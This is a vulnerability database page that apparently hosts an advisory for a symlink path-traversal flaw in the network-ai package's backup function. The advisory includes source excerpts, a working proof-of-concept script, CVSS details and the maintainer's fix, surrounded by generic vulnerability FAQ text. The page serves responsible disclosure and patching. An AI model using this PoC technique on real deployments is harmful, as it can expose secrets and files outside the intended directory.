How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

352,427

Total vulnerabilities in the database

Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups — network-ai

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.

An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.

Details

backup() collects file paths and copies them into the backup directory:

const files = this._collectBackupFiles(envDir);
for (const rel of files) {
  const src = join(envDir, rel);
  const dst = join(backupPath, rel);
  mkdirSync(join(backupPath, rel.includes(&#039;/&#039;) ? rel.substring(0, rel.lastIndexOf(&#039;/&#039;)) : &#039;.&#039;), { recursive: true });
  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}

_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():

const info = statSync(full);
if (info.isDirectory()) {
  walk(full, rel);
} else {
  results.push(rel);
}

Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.

Affected source evidence:

lib/env-manager.ts:435-460 — backup copy logic.
lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().
bin/cli.ts:413-420 — default CLI exposes backup creation.
lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.

PoC

This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:

TMP=$(mktemp -d)
TMPBASE=&quot;$TMP&quot; node -r ts-node/register/transpile-only - &lt;&lt;&#039;TS&#039;
const { EnvironmentManager } = require(&#039;./lib/env-manager&#039;);
const fs = require(&#039;fs&#039;);
const path = require(&#039;path&#039;);
const base = process.env.TMPBASE;
const data = path.join(base, &#039;data&#039;);
const outside = path.join(base, &#039;outside&#039;);

fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, &#039;secret.txt&#039;), &#039;secret-through-symlink&#039;);

const mgr = new EnvironmentManager(data, {
  chain: [&#039;dev&#039;, &#039;st&#039;],
  gates: { dev: &#039;auto&#039;, st: &#039;auto&#039; },
});

mgr.init(&#039;dev&#039;);
fs.symlinkSync(outside, path.join(data, &#039;dev&#039;, &#039;linked-outside&#039;), &#039;dir&#039;);

const result = mgr.backup(&#039;dev&#039;);
const copied = path.join(result.path, &#039;linked-outside&#039;, &#039;secret.txt&#039;);

console.log(JSON.stringify({
  copied: fs.existsSync(copied),
  content: fs.readFileSync(copied, &#039;utf8&#039;),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: copied is true and content is secret-through-symlink.

Impact

An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.

_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Published: Jun 19, 2026
Updated: Jun 20, 2026
GHSA: GHSA-6x2m-p4xp-wg22
Severity: Medium
Exploit:
CISA KEV:

CVSS v3:

Severity: Medium
Score: 5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWEs:

OWASP TOP 10:

A5 - Broken Access Control

Affected Software
References

Software	From	Fixed in
network-ai	-	5.12.2

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.